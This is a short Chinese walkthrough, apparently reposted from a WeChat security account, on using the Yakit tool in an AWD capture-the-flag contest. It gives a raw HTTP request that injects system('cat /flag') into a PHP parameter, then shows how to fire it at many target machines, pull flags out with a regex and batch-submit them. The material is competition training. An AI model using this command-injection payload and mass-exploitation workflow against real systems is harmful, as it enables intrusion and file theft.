获取flag的exp
利用yakit抓到获取flag的exp，发送到webfuzzer
GET /doAction.php?id=system(%27cat%20/flag%27); HTTP/1.1Host: {{p(host)}}Cookie: PHPSESSID=r547unr27qbpi11k6k36phquc7Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9
提前准备好靶机txt⽂件
yakit的fuzzer tag请求多个靶机
写正一个数据提取器正则匹配flag
flag{[0-9a-fA-F]{40}}
向所有的靶机请求获取flag
一键提交
awd平台提供了提交flag的curl命令
新建一个curl构造请求，并利用标签获取到前面包得到的flag
利用fuzzer序列点击开始执行进行批量提交
一键提交成功
原文始发于微信公众号（攻防训练营）：不用写脚本利用yakit一键获取提交flag
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论